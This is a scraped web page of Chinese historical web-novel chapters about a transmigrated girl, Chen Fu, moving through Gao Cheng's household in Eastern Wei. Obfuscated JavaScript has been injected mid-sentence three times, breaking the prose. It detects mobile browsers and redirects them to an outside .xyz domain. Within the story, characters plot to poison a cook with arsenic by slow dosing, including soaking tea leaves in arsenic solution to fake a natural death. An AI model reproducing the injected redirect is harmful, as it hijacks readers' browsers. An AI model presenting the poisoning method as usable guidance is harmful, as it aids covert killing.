陈扶扯住女婢衣袖,依着先前说辞解释:“方才见姐姐看洗三礼入神,稚驹不忍打扰,便想自己寻更衣之所,谁知在回廊迷了方向,走到这里,冲撞了郡公。” “原是如此,那奴婢这便带女郎去。” 走了两步,能清晰地感觉到身后有道目光如影随形。女婢回身笑问:“郡公怎么不赶紧去前边?洗三礼都快结束了,迟到这么久,大王不会怪罪你么?” 永安郡公抱臂盯着两人,笑嘻嘻一扬下巴:“会啊,但我不怕。” 陈扶无语了真的,不过面上还是挤出乖巧笑容,“郡公既如此热心,就让他跟着吧。” 刚到西厕,陈扶便将袖中那包砒霜塞进鞋履深处。 今天下毒只怕是已不能了,两人都已知道她来过膳奴居所,她拿的是砒霜,无法伪造病死,一旦兰京毒发暴毙查起来,她脱不了干系。 无声骂了那家伙好几句,才整理好衣裙,出门随二人一同折返。 行至通往前院的殿后檐下,忽闻压抑的斥责声,只见高欢正对着高澄沉脸低吼:“哪有让陛下等他的道理!” “洗三阿浚就没看上,开宴也不等?陛下?这陛下都是我们高家给他的,让他等一等我们高家人,怎么了?” “你!”高欢额角一跳,抬脚便狠踹了过去,转向陈元康道,“长猷,你看看他!你说这怪我打他么?” 陈元康忙劝高澄:“世子当体谅大王的苦心才是。元修之鉴未远,待陛下过慢,恐授天下人以口实啊。” 高澄拂袖冷笑,“阿耶只想名声,唯恐待之不敬;却不想,若待之过厚,又何尝不会助长其亲政之心?那元善见虽仰仗我们高家苟延大魏,可元家就没有甘为傀儡的!崔季舒方才说,前日华山王袭爵入宫谢恩时,奉承小皇帝有孝文帝遗风,他听后,可是好不受用呢。” “这元大器,”陈元康摇头,“见过真正的魏高祖么,便敢妄言帝有遗风,难怪世子会作此想。” 高欢面上疲惫无奈交织,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16468976|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终化作一声沉重低语:“阿惠,刀,要藏在袖子里。” 孝静帝元善见和高澄互为妹夫,按伦理算是一家人,高欢刚立元善见时,高澄不过十四,元善见不过十一,皆有才貌的两人有没有过竹马之谊,不好说。 但现下看来,年少老成、政治觉悟和野心远超其年龄的高澄,已然视东魏为囊中之物了。 陈扶因思索放慢了脚步,身后人却越过两人快走起来,连呼数声“阿兄!”,像只小豹般几乎是飞扑进了高澄怀里。 高欢见状火气又起,指着骂道:“陛下都比你来得早!你的排场是比陛下都大?好的不跟你阿兄学,就学会了不知礼数!” 挨骂的那个一边麻利地躬身“阿耶说得是,浚知错了”,一边偷偷与他阿兄交换眼神,那压不住的嘴角,写满了有恃无恐。 随后跟来的侍从,先将满满四车礼物并礼单呈上,又奉上一个牛皮包。 “大王恕罪,世子恕罪。礼物其实早已备齐,但郡公得知殿下诞下的是王孙后,拿出去岁夏日得的丝、漆,冬日得的干、今秋新得的角——全是郡公平日珍藏、自己都舍不得用的上等之材,亲手熬胶贴把,插梢铺筋,熬了三日为王孙做了这张小弓,直至方才才完工,因此来迟。” 高澄没接那弓,而是抓过高浚的手查看,见其掌心指腹有磨破的伤痕与水泡,蹙眉斥道:“那么多匠人,缺你这把?” “阿兄有了嫡子,浚儿真是太高兴了!武艺一十八般,唯有弓矢第一。阿兄的孩儿,日后定可仰手接飞猱,俯身散马蹄!” “分不清轻重缓急......” 高欢还想骂,高澄已打断道,“好了阿耶,不是怕对小皇帝不敬么?开宴吧。” 说罢拍了一下高浚的肩膀,随即目光落在已走到几人眼前的陈扶身上,那手便又覆上了她的小脑袋,不轻不重地往前一推,略带戏谑的逗道,“走吧,小稚驹,吃好的去。” 此时厅内,长席已摆好。 青石砖上各设锦缎方褥,黑漆卷耳案,案上银碗金盘,盘内盛着炮牦炙鹿,胡羹羌煮,又有桑落酃酒,林檎石榴等时令珍品。 正位上的孝静帝正与妹妹冯翊公主说话,公主脸上洋溢着幸福与风光。 高欢立刻换上一副恭谨面孔,随坐皇帝身侧陪侍。 崔暹作为高澄着力提拔的心腹,被安排在了众臣的上首,其余皆按品级爵位各落座。 陈扶被女婢引至专为孩童设的长案旁,依言在一个小男孩身侧坐下。 那孩子瞧着不过垂髫之龄,肌肤白皙,跪姿端端正正,一张小脸俨然高澄缩小版,眉眼鼻梁无一不精雕细琢,此刻正百无聊赖地摆弄着一枚绿玉玦。 女婢介绍道:“这是世子的二郎孝珩,二郎,这是陈功曹府上的女公子。” 高孝珩闻声抬起头来,映入眼帘的,是一个瓷娃娃般精致的小姐姐。 他有些不好意思地扭正了脑袋,正当女婢以为小郎君不欲理人,准备出言圆场时,他却忽然歪过头,小小的身子向小女娘凑近了一点点,软软开口: “叫你姐姐,可好?” “好。” 刚答完,厅上传来高澄声音,却见他举杯道:“承陛下天恩,今在此设宴,一贺高府喜得麟儿;二慰诸卿辅佐朝廷劬劳;三谢尔等镇守四方拱卫之功。” 群臣皆向御座方位行礼,开宴共饮。 钟磬声宏,羯鼓韵急,炙肉香浓,酒醴馥郁。宴开不多时,高澄便令乐府舞姬献艺助兴,也是勋贵宴饮的传统流程了。 北地三才是宴会的‘气氛组’。或即席赋诗,庆贺世子得子之喜、歌颂丞相仁德;或高谈阔论,展示邺下文采风流。 高洋沉默寡言,只是喝酒,甚至显得有些木讷,但他的眼神清明,扫过厅中每个人,仿佛要将所见所闻一一刻入脑中。 “看不到我阿兄衣服上?!”高浚指着高洋衣服上漏的酒,斥责完其左右侍从,凑到高澄身边,低笑道,“阿兄,我去小孩儿那案坐坐。” 高澄挑眉,“怎么?躲酒?” “我何时躲过阿兄的酒啊!今日宴饮皆为庆贺小的,我去陪陪我二侄子,岂非正理?” 高澄朝孩童那边望了一眼,“真是好三叔,”将案上一盏琼饴石蜜推至高浚手边,“去吧!捎给稚驹。” 得了准许,高浚便大剌剌走过去,将盏放在陈扶面前,在小二郎旁边寻了个空当欣然落座。 他身形挺拔存在感太强,陈扶本能蹙了一下眉头,虽旋即松开如常,但那细微的排斥感,却被身旁的小眼睛精准地捕捉到了。 只见那小小郎君,指了指高浚与自己之间那几乎不存在的缝隙,“三叔,挤。” “什么意思,小二郎?这是要赶你三叔走?” 小郎君毕竟是知礼的,闻言摇了摇头,却又重新转过头,继续盯看小姐姐。 一盘蜊肉被轻轻推到陈扶面前,紧接着,又是一块一合酥。 女婢将食物切成适口的小块,小郎君便默不作声地,一次又一次转移到她碟中。 高浚在一旁看得直乐,“好你个小二郎,怎么不给你三叔我也吃一块!” 小郎君一本正经地回应:“三叔是大人,自己会吃。” “她不会吃?” 因着内里成年人的灵魂与任务未遂的烦心事,陈扶本无暇理会一个三岁稚童的示好。但眼看着碟中食物渐渐堆成小山,她终于侧目,看向身旁这个执着于‘上贡’的小郎君。 正对上他期待的亮眼睛,陈扶牵起一个浅笑,“你自己吃吧,不用给我。” 高浚精准点评:“小马屁精,人不领你的情。” 女婢笑道:“我们二郎是会疼人!”略带心疼地向陈扶解释,“二郎的阿兄养在晋阳,两个弟弟尚在襁褓,他平日没什么玩伴,如今好不容易见到个,便恨不得把所有好东西都掏出来给你呢。” 这句无心之言,像一道灵光骤然刺入陈扶纷乱的思绪,也许......也许这个孤单的孩子,会是一颗意想不到的活棋。 一直无心逗孩子的她,看向一直在等她回应的小郎君。 6.第6章 陈扶依样给他碟中也夹了一箸炙肉,小郎君捧场地放入口中。 许是觉得再以吃食回赠已不足够,竟低头解下腰间那枚绿玉玦,放进陈扶手里,神情是孩童的郑重: “我的......给姐姐。” “好啊小二郎,这可是你阿耶特意寻来给你辟邪的,就这么送人了?” 不待小郎君回高浚话,满座皆站了起来,原是孝静帝起身要摆驾回宫了。 众臣相送归来后继续宴饮,高孝珩与陈扶作为孩童,既已食毕,便被允许离席。 刚踏出喧闹的厅堂,一只微凉的小手便握住了陈扶的手。 侧头看去,只见那小郎君正仰着脸,轻晃了晃两人交握的手,眼底漾着纯粹的欢喜。 “这就牵上啦?”高浚带笑的声音从后方传来,他也跟了出来。 陈扶看向他,语带疑惑:“我们小孩子不饮酒,出来玩耍。堂堂郡公,也无需应酬嘛?” 东魏封王是就食不就藩,不必去封地。高浚不像他二兄高洋,除了有太原公的食邑,在朝中还领着散骑常侍、骠骑大将军、左光禄大夫等实职。他确实清闲得很,理所当然道:“我陪我侄子,才是正事。” 陈扶才不信,分明就是怀疑她有问题,在盯梢跟踪。 也怪自己,先前在膳奴屋舍前探查太过投入,竟未察觉他靠近,也不知被他暗中观察了多久。 曲水回廊畔,石榴累累低垂,丹顶鹤在浅水处踱步。 女婢踮脚摘下两个石榴,因大小不甚均匀,正欲再摘,小郎君却已伸手捧过那个更大更红的,塞进了小娘子手里。 高浚抱臂倚在廊柱上,不由失笑:“小二郎这性子,和阿兄真是半点不像。” “我们玩捉迷藏,好不好?”陈扶忽道,看眼高浚神色,又补了一句,“就在苑中,不出角门。” 这个提议合情合理,孩童玩心重,捉迷藏是最寻常不过的游戏,范围还限定在了其视线可及的庭院内。 高浚挑了挑眉,“成啊!”女婢也笑着应和。 玩了两轮,轮到了小郎君抓人,女婢叮嘱完他‘要远离水池而行’,便与高浚各自散开藏匿。 高孝珩依着游戏规矩,奶声奶气地数完二十个数,便迫不及待地睁开眼,开始寻找。 谁知才刚迈出两步,便和假山石洞里的稚驹姐姐对上了目光。 小脑袋左右张望了一下,做出一副什么都没发现的样子,脚步一转,就要朝着相反的方向去寻,结果被一把抓进了洞里。 陈扶压低声音,循循善诱:“阿珩,你想一直和姐姐玩么?” 阿珩认真地点头。 “那等你阿耶心情好时,你就去找他。” 她模仿着孩童撒娇的姿态,轻轻晃了晃他的小胳膊,“你就这样拉着他的袖子对他说,”刻意放慢语速,吐字清晰,“‘阿耶,阿珩一个人好孤单,想让稚驹姐姐来陪我玩,可不可以啊?’” 他学着她的样子小声复述:“找阿耶......要稚驹姐姐陪我玩......” “对!阿珩真聪明!”陈扶竖起一根手指抵在唇边,“但记住,这是我们两人的秘密,不能告诉任何人,尤其是三叔。”她指了指洞外高浚可能存在的方向,“不然啊,他就会拦着不让姐姐来陪你啦。” 阿珩用小手捂住自己嘴巴,用力地点了点头。 - 刚回西厢,净瓶和甘露便迎上来,看她神色沉凝,便知事情不顺。 净瓶手脚麻利地为她拆卸发髻,见少了一支金钗,又瞥见她放进妆匣里的绿玉玦,不由问道:“仙主,那支钗与人换了?” 陈扶正凝神思索,并未理会。 若能借高孝珩再入大将军府,下毒之事或需另辟蹊径...... “有没有办法,”陈扶转向侍立一旁的甘露,“能让他死得像病故?” 高浚既已起疑,一旦高澄府中有膳奴被毒杀,此人必会联想到她身上,再一盘查行踪,她只怕难脱嫌疑,到时又要多费周章应对。 最好是伪装成病死,神不知鬼不觉地解决。 “砒霜若小剂长期地下,或可做到。初时不过恶心呕逆、头目昏沉,状若劳损之症。待毒性渗入筋骨,则四肢麻痹,肤生痈疮,将似沉疴难愈而死。” 长期下?陈扶蹙眉。她岂能频繁潜入下毒?那无异于自投罗网。 正沉吟间,净瓶端过案上的鸡头壶,倒了盏茶掬笑奉上,“仙主先饮口茶,顺顺气,慢慢想。” 扫过盏中茶汤,陈扶心头一动,问甘露:“若将茶叶浸于砒霜溶液中,阴干后每日取少许煮饮,是否可行?” “仙主妙思!每日一饮,毒性渐积,待茶饼用罄确可油尽灯枯。”甘露眼中闪过惊佩,“仙主纵被凡胎肉身所困,却仍这般神思清明。” 陈扶沉声:“那也要他喝得完才行。你可有把握,炮制后的茶叶不露异味?” 甘露思忖片刻,谨慎答道,“砒霜本身气味不显,遇水略带涩味。若能选用苦味浓的茶饼浸泡,其本味或可掩盖异味。” “哎呀,别担心!”一旁的净瓶忍不住插嘴,“前头伺候郎君的阿刘说过,他随郎君去驿馆见客时,看过南人饮茶,不是咱们这般单煮叶子的。他们是把茶叶与葱、姜、枣子、橘皮等一同下锅烹煮!像粥似得。”边说边挥手皱鼻子,“那般混杂厚重的味道,哪里还能尝出什么涩味。” 陈扶唇角终于勾起清浅弧度,信手拈起刚卸下的两支金簪往二人跟前一递。 “赏你们的。” * 长寿里到大将军府,沿路皆是官宦高门,已见呵气的天,往来的长檐车里贵公子们仍是穿纱着罗,衣袂翩翩。 一大一小两人立于府前,是阿珩和一衣着体面的奴妇。 车驾甫停,不待陈扶下车,阿珩便垫着脚,将暖烘烘的小手炉递她手里。奴妇则略行了个礼,边瞟她边道:“老奴是二郎的奶母,在此恭迎陈女郎。” 陈扶将一小囊碎银塞她手中,“有劳了。” 奶母脸上堆起笑意,话也热络起来,“女郎客气。你是不知,二郎自接到你们陈府的回帖,便日日盼着呢,非要跟着老奴出来等。” 陈扶俯身对盯看她的阿珩柔声道:“阿珩乖,待姐姐先去寻个人,便来陪你玩,可好?” 随即又转向奶母,解释道:“上回世孙洗三礼,贵府有位膳奴告知了个极好的食方,我备了份薄礼,想去当面道声谢。” “陈女郎真是有心人呐,那老奴带女郎过去。” 引路还算殷勤,只是行至附近时,那奶母便止步笑道:“那些粗使膳奴的住处,气味实在不佳,二郎他闻不得。” 她说着,已将阿珩拽到身侧,“那老奴就不陪女郎进去了哈。” 陈扶含笑点头,“那我去去便回。” 独行了几步,便闻身后窸窣,回头一看竟是阿珩跟了上来,那奶母却仍杵在原处,正忙着数那囊里的碎银呢,全无察觉孩子已脱手。 她心下一哂,收回目光。 依旧是那排低矮屋舍,陈扶径直走向记忆中兰京那间,正欲叩响,门扉‘吱呀’一声从内拉开。 走出的是宴席那日,与兰京同做江南菜的那个干瘦膳奴。 陈扶端起乖巧知礼的模样,软声问:“这位阿公,兰京阿公可在里面?” 那人耷着眼皮懒懒道:“兰京?他不住这儿啊。” 陈扶一怔,以为自己听错了:“......兰京阿公,不住这儿?” 对方这才抬眼细细打量她,又看看跟着她的小尾巴,语气稍缓:“是呀,他住东柏堂啊。” 心下骤沉,指尖倏地冰凉,但仍不愿相信,追问道:“可世孙洗三礼那日,我明明在此处见到兰京阿公了呀?他还告诉了我盐豉当酵五日。” “那日太忙,东柏堂那边的都调来帮忙了嘛!”男人已显出不耐,“你寻他作甚?” 陈扶木然地举起手中的陶罐:“给他送罐茶叶。” 听到‘茶叶’二字,男人凹陷的眼睛瞬间亮了,他搓了搓手,扯出一个无赖的笑:“他啊?他一大老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16475342|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗哪懂茶!他不喝茶!不过我喝!小娘子这茶,不如就给了我吧?” 见对方幽幽地盯着他,眼珠一转,改口伸手道:“行吧行吧,给我吧,等他下次来了,我帮你给他。” 陈扶已然明白,洗三那日她若真下了毒,死的也只会是眼前这位,而非目标兰京。 看他这副德行,更知这罐茶一旦给了他,绝无可能到兰京手中。 陈扶手一扬,无温度地笑看他,“什么都想喝啊?” 到嘴的茶叶飞了,男人变了脸色,阴阳怪气地讽刺:“嗬,贵人家的孩子脸就是变得快哈!方才还装得一副乖模样......” 陈扶懒得再与他废话,丢下一句“给永安郡公上柱香吧,”转身便走。 走到院墙拐角时猛地停下,胸口剧烈起伏。 是她的问题,是她的疏漏。 那日女婢明明说过‘与那膳奴不甚相熟’,她却未曾深思这‘不甚相熟’背后的含义——因为他们根本不在同一处当差。 为何没追问?为何没追问! 心头升起一股强烈的自厌,她将手中的手炉狠狠砸向院墙,‘砰’的一声闷响,将刚凑近的阿珩吓得一颤。 缓缓回头,眼中尚未敛去戾气,那张精致小脸显得格外阴沉。 “吓到你了?” 阿珩摇摇头。 “讨厌我了?” 阿珩再次摇了摇头。 陈扶暗舒口气,方才只顾发泄,把他给忘了。 问完他,最后一点耐心也耗尽了,她朝外走去。她走得很快,心中被挫败感和急于思考下一步的焦躁填满,直到那奶母惊呼着擦肩跑过,她才恍然回头。 只见阿珩已摔在了地上,乳母边扶边抱怨,“瞧不见二郎在追你嘛?女郎只顾自己也不看看......” 被扶起的阿珩眼眶含泪,在乳母查看时强忍着不哭;可一见陈扶走来蹲下身,便举起擦破了一点皮、渗着细微血丝的小手,委屈地凑到她面前,银豆子吧嗒吧嗒往下掉,“疼,吹吹,姐姐吹吹......” 罢了,离武定七年尚早,何必如此心急? 她敛去所有负面情绪,恢复温和小姐姐模样,捧着他的小手轻轻吹了吹,“对不起,是姐姐走得太快了。” 掌中人摇头,用哭腔道,“是阿珩......走慢了。” 给他擦净眼泪,正要去寻耍处,却见上回那女婢笑吟吟走来,“可寻着你们了!”对那奶母晃晃指尖拈着的樗蒲棋子,“李阿姥她们正在西园子里开局呢,我帮你看会儿孩子,你去耍一把?” 那奶母刚得了碎银,自是乐得交卸。 待其走远,陈扶从袖中取出个水头极足的玉镯递给她,“上回见姐姐穿鹅黄纤髾时就想着,该配只玉镯才衬得。原以为今日碰不上姐姐,都准备让阿珩奶母转交了。” “奴婢只要听闻女郎来了,自会找法子来寻的。”附耳笑语,“女郎要真让她转交啊,奴婢只怕就戴不上了!”说罢爱惜地转动玉镯,伸到阳光下细赏。 “方才我去膳奴住所,本想谢谢那位赠盐豉方的兰京......” “他不是将军府的,”女婢接话,“他是东柏堂的。女郎有所不知,东柏堂不止是世子处理政务之地,还是接待大臣、南使之所,堂内日日皆有议宴,一应食饮供给,皆由那边的膳奴操持。” 她顿了顿,补充道,“兰京是世子亲点去的膳奴,做吴越菜的手艺极好,等闲不调动的。上回洗三是因来客实在太多,人手不足,才临时将他调来帮衬的。” 陈扶懂了,说白了,兰京其实是专做国宴的。 东柏堂...... 她一小小臣女,想踏足政务机要之地,要比进大将军府难得多。莫说是她,便是她阿耶陈元康,若无传召,怕也不能随意出入。 但无论如何,她都必须找到去东柏堂的机会,而要寻得机会,便需常见高澄才行,换句话说,要常来大将军府才行。 思及此,她指尖微微收紧,更牢地握住了掌中那只小手。 7.第7章 回廊里,陈扶正与阿珩对坐翻弄花绳,指尖勾挑间,一个龟背纹样便在她手中成形。 阿珩看得目不转睛,伸出小手指也想去勾挑,又怕弄乱了这杰作。 一阵环佩叮当的轻响伴着香风悄然袭来。 “哟,这是玩什么呢,这般入神?” 声音甜润,听着像咬了一口熟透的蜜桃。 陈扶闻声抬头,忙起身见礼。 来人是阿珩生母、高澄的宠妾王氏。上次在洗三礼远远望过,这是第一次近距离细瞧:一身水粉杂裾垂髾,外罩灰貂裘,走路风拂杨柳,容貌妩媚娇俏。 王氏用指尖蹭了蹭儿子的小脸,便坐在廊下,与奶母闲话起来,“公主殿下方才说,‘那任胄三请四请的,明日姊妹们便都去寺里赏个脸吧。’你瞧瞧这天色,灰蒙蒙的,分明是要落雪了,可真是会挑日子。” “可不是么!这天出去不得冻掉耳朵,老奴一看这天呐,赶紧给咱二郎添了件裘衣。” 王氏此刻过来,是得了世子跟前苍头奴的报信,知晓他即将回府,特来‘偶遇’的。如今公主殿下刚出月子,身子尚不方便,她便出头些也无妨。 世子昨夜提了句‘几日未见宋氏’,若不主动些,今晚世子怕是要宿在那边了。 正思忖间,角门处传来动静。 是世子回来了。 还穿着她早晨伺候时给披的那件狐裘,行走间步履生风,虽面带疲惫,却丝毫不减其威。 人刚至廊前,王氏已迎了上去。 “世子回来啦。”边说边为他理那被风吹乱的毛领子,理好了也不撤手,反柔柔地搂上了,“冻坏了吧?” 两个孩子也近前行礼。 高澄揉了揉儿子脑袋,目光落在陈扶身上,小人儿穿着红襦裙白貂裘,发顶两个花苞髻缠得一丝不乱。 在那雪白小脸上捏一下,黑漆漆的眼珠便会弯起来。 “大将军瘦了。” “最近是忙些,没发现你阿耶都顾不得剃面,蓄须了?” 甘露说保漳村的民丁都被发去修堤坝了,想来朝里是忙的,置盐官以盐业添军资,沿河设官仓贮粮,改绢定制等,皆要趁着高欢在邺城集中办完。 “再忙大将军也要按时进膳哦。” “好孩子。”高澄低笑一声,目光转向挂在身上的王氏,手背抚上那张芙蓉面,“听到了么?连稚驹都知要我惜身呢。” 王氏正因他身上携的冷香微醉,被他这般抚弄,便呼吸不定起来,娇语驳道:“可妾身觉得世子身体好着呢~” 高澄凤目斜睨,对上那双含情带媚的桃花眼。 “昨不是求着不要了?今便又行了?” “哎呀!”王氏脸霎时红透,“孩子们还在呢~”她终究不如高澄在那事上从容放肆。 “你也知啊?”高澄用肘抵了抵她那柔软处,示意她身子缠得他紧,王氏偏就不松,反而搂得更紧了。 “是你找弄,今再求饶可不能了。” 高澄手臂蓦地一环,将她打横抱了起来,向后宅方向而去。 望着那身影消失在回廊尽头,阿珩软道:“姐姐明日也去。” 陈扶随口应下,心中不由泛起迷茫。 她已来大将军府不下十回,然因只能白天在此,总也遇不上高澄。今日好不容易遇上了,却也没什么可为。 - 漳水已冻,初雪将停,邺下一片素净。 三辆牛车停在一处新修的寺庙前。 陈扶抬头,匾额上书《普惠寺》,高澄字子惠,寺名取其字,又含‘惠及天下’之意,再看楹联:梵香袅袅浮‘高’界,玉磬泠泠渡法云,当真好马屁。 出行不便的天,自是香客寥寥,寺内松柏掩映,红梅与白梅竞相吐艳,肃静中更添韵致。 女眷并奶母、阿珩等,皆随冯翊公主往大雄宝殿去了,陈扶慢走几步脱离队伍,踱入一无人偏殿,想图个清静。 正驻足于彩塑前欣赏南北朝造像之美,忽闻殿外传来两道熟悉的声音,窗纸上映出三个人影轮廓。 她心思电转,走到香案前敲木鱼的老僧面前,乖问道:“师父,在这里……是什么心愿,都可以求到的么?” 问话间,眼中已酝酿起一片诚挚的希冀。 老僧停下木鱼,和蔼道:“小施主,只要心诚,心诚则灵。” 闻言,陈扶在蒲团上端端正正跪下来,双手合十。 偏殿内檀香寂寂,唯一小小背影,跪在佛前,虔诚叩首。 “稚驹求佛祖保佑......保佑大将军身康体健,长寿延年......无灾无难......” 门外的陈元康可谓又酸又喜。酸的是,女儿求神佛护佑的,竟不是自己这亲生阿耶;喜的是,她为之祈福的,是远比自己这亲生阿耶,更能庇护她的大贵人。 瞥眼陈元康的高澄,心下也实在触动。 他今日是被逼着来的。 一早阿耶亲至东柏堂,说任胄请到了他那里,还追忆起了其父魏郡公,魏郡公任祥是跟随阿耶信都起兵的老将,一起南征北战忠心到死,就因这层关系,阿耶连其贪贿都可原谅,又怎会不给他这个面子? 本想和陈元康来走个过场了事,却不曾想撞见这一幕。 陈元康掌机要之事、是他高家的自己人。对于高澄来说,陈元康的女儿,日后他会给配个高门,这是君主对忠臣的回馈,也是强者对下僚家属的庇护。 但他没想到,会这么早就与之相熟,更没想到,纯稚孩童竟待他如此真心。 他不由出声轻唤:“稚驹。” 那小人儿闻声懵懂回头,见是他,先是一喜,又不好意思地垂下了眼睫,小手无措地绞着衣带。 高澄缓步近前,执起她的小手将人从蒲团上拉起来。 牵出殿门,到了廊下也未松开,就那么用背着的那只手牵着她慢走,俨然一副带着自家孩儿的模样。 陈扶任他牵着,方才对佛祖所求,原是实话,她确实盼着高澄这棵大树活得长长久久,才好庇佑她余生无虞,只不过,这番‘忠心’,要叫他瞧见才好。 空着的那只手忽地一暖,一只更小的手钻进了她的掌心。 原来是脱身寻来的阿珩,他看看阿耶,又看看稚驹姐姐,默不作声地加入了这奇特的队伍。 看着这一牵二的画面,跟在后面的任胄对陈元康竖起大拇指,用眼神揶揄:不愧是长猷兄,教女之高,任某佩服,佩服。 陈元康心里门儿清,自家女儿纯属初生牛犊不怕虎,瞎猫撞上死耗子,跟他的教育没半文钱关系。 但他面上却露出个‘学着点吧你’的得意之色,挑了挑眉,用眼神示意:赶紧干你的正事去! 任胄忙不迭凑前引路,一行人转至大雄宝殿,与已经在此的冯翊公主等诸女眷汇合。 “世子请看,”任胄讪笑低语,“此像以整块汉白玉为胎,金箔裹身,专请了平城最好的匠人,闭关三月方成,实乃世间最殊胜的宝相。看这眉目......” 那宝座之上的佛像,雕工确臻化境,褒衣博带,眉眼低垂,宝相之美摄人心魄,可若细观,便会发现那五官轮廓,分明是依着高澄样貌所塑。 高澄似叹似讽:“倒似俗世之人。” 陈元康圆场道:“不入世俗,怎显慈悲?臣观此佛相,不仅慈悲,更有镇护四方之威。季良兄真可谓用心之至。” 高澄负手而立,目光扫过殿内——莲花瓦兽面砖,五色帘麒麟锦,鎏金盘龙飞凤柱。 睨向任胄,“想来季良在东郡数载俸禄,已尽数化作此间香火了吧?这般虔诚,倒叫我为你往后生计担忧哇。” 任胄仿佛听不出此间揶揄,带着几分发誓意味恳切道:“能为世子略尽绵力,莫说俸禄,便是散尽家财、肝脑涂地,季良何足惜哉!” 见他姿态如此,高澄鼻间笑哼一声,算是领了这份情。 趁气氛好,任胄引荐了寺中住持,称其师从高僧昙鸾大师,尤精命理。一旁已请算过的王氏也笑着附言,称其推算极准。* 说着,王氏将阿珩拉到住持身前,待其观过面相,伸手用指尖在掌中写了八个字。 “癸巳?”住持确认后,算道:“此乾造身坐正官、正印、正财;财、官、印循环相生,真真好命也。”说罢移步至香案提笔蘸墨,批下命诗一首。 诗曰: 笔底烟霞润四海,墨池泉涌好文章。 燮理阴阳参造化,人间伉俪胜仙乡。 调和鼎鼐安邦策,身立丹墀定国纲。 功成麟阁双辉映,山河同庆日月长。* 念罢诗的王氏大喜于色,这可真是才华、姻缘、仕途、名誉、寿数,世间好事都让她儿子占全了。 高澄也甚悦,他高澄的孩儿,就该有丹青缀文之才,安邦定国之能;而若二郎将来封王拜相,那届时谁是皇帝?细思更觉快意。 宋氏见状,凑近冯翊公主,“殿下,也请大师给咱们孝琬看看吧,定然更贵!” 冯翊公主正要应允,高澄却道:“孩子尚在襁褓,骨格未成,气血未定,算什么命。” 陈扶冷眼旁观,很是明了。 高澄这是给夫妻两人留脸面,若嫡子算出帝王之命,置她兄长孝静帝于何地?公主心中岂能安然?若非帝王之命,高澄自己又岂会心悦? 正想着,高澄已将她推至住持跟前,“算算她的。” 陈元康报上八字。 住持凝神片刻后道:“食神配印之坤造,门庭殷实,亲贵垂怜,一生得蒙荫庇。食神泄秀,主弄章慧辩之才,又能藏愚......”说到此处,正对上陈扶幽深目光,话语微顿,略过详解,给出结论:“亦乃大贵之命。” 陈扶内心毫无波澜。 论贵,谁贵得过高家、元氏之女?可她们历史上的命运,又贵在何处? 乱世且休言贵,女命皆如飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482561|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萍,听个吉祥话罢了。 高澄却好似捕捉到了关键似得,颇有兴致地追问:“食神泄秀?主弄章慧辩之才?你是说,她也很有诗文才华?” 不待住持回答,其身旁的徒弟便笑回道:“食神乃口才、享受也,而印绶乃才华、学识也,食神配印,自是才高。” 高澄闻言看向身侧小人儿,眉宇间掠过怀疑。 似乎无法将‘才高’这个批命定语,与眼前这个只会乖乖唤他、傻乎乎在佛前为他祈福的纯稚小女郎联系起来。 一直用余光盯看他神色的陈扶,微微眯起眼睛。 高澄会带什么样的小辈去东柏堂那等外交重地?这个已在心头萦绕月余的问题,在看到高澄对她‘才华’异乎寻常的关注后,似乎有了眉目。 也许,虽应装乖,却大可不必装苯。 任胄令住持也为世子一算,高澄心情尚佳,便报了八字。 “世子乃七杀之格啊。志存宏大,性秉雄豪,耻尚空谈,惟务实效。”话锋一转,“然七杀属同性之克,乃克我之极,其性暴如虎,肃杀似刃。不免少壮气猛,不择途术......” * 眼见话风不再吉利,任胄急忙使眼色。 徒弟立马圆场道:“夫偏官者,虽为攻身之利器,更为成事之权柄。故而七杀之格多出雄主,临难决疑,断行无忌,自可逢凶化吉也。” 住持苦心直言道:“非也,若能降服确可成大事,若被反克,则成厄障。” 殿内霎时气氛凝滞,落针可闻。 “大师方才为阿珩写了批命诗,”陈扶清软的童音打破寂静,“稚驹不才,也想为大将军献诗一首,可好?” 此话一出,满室皆惊。 陈元康忙以眼神制止,生怕女儿胡诌惹人笑话。 高澄却浓兴道:“哦?难道稚驹果有诗才?且快作来。” “灵蛇盘泥藏机变,蛟龙在渊待云雨。” 首句一出,众人表情便已是精彩纷呈。 她望向殿外凛霜傲雪的梅花,声音微微拔高,清稚中带上锐气: “寒梅淬雪香尤烈,冻杀草木未足奇。”* “独有英雄伏厄煞,更无豪杰惧冲刑!” “一朝叱咤风雷动,万里山河自归宁。” 一片惊寂中,陈扶扬起小脸看向高澄,“大将军乃英雄豪杰,岂会被小小官杀所克?” 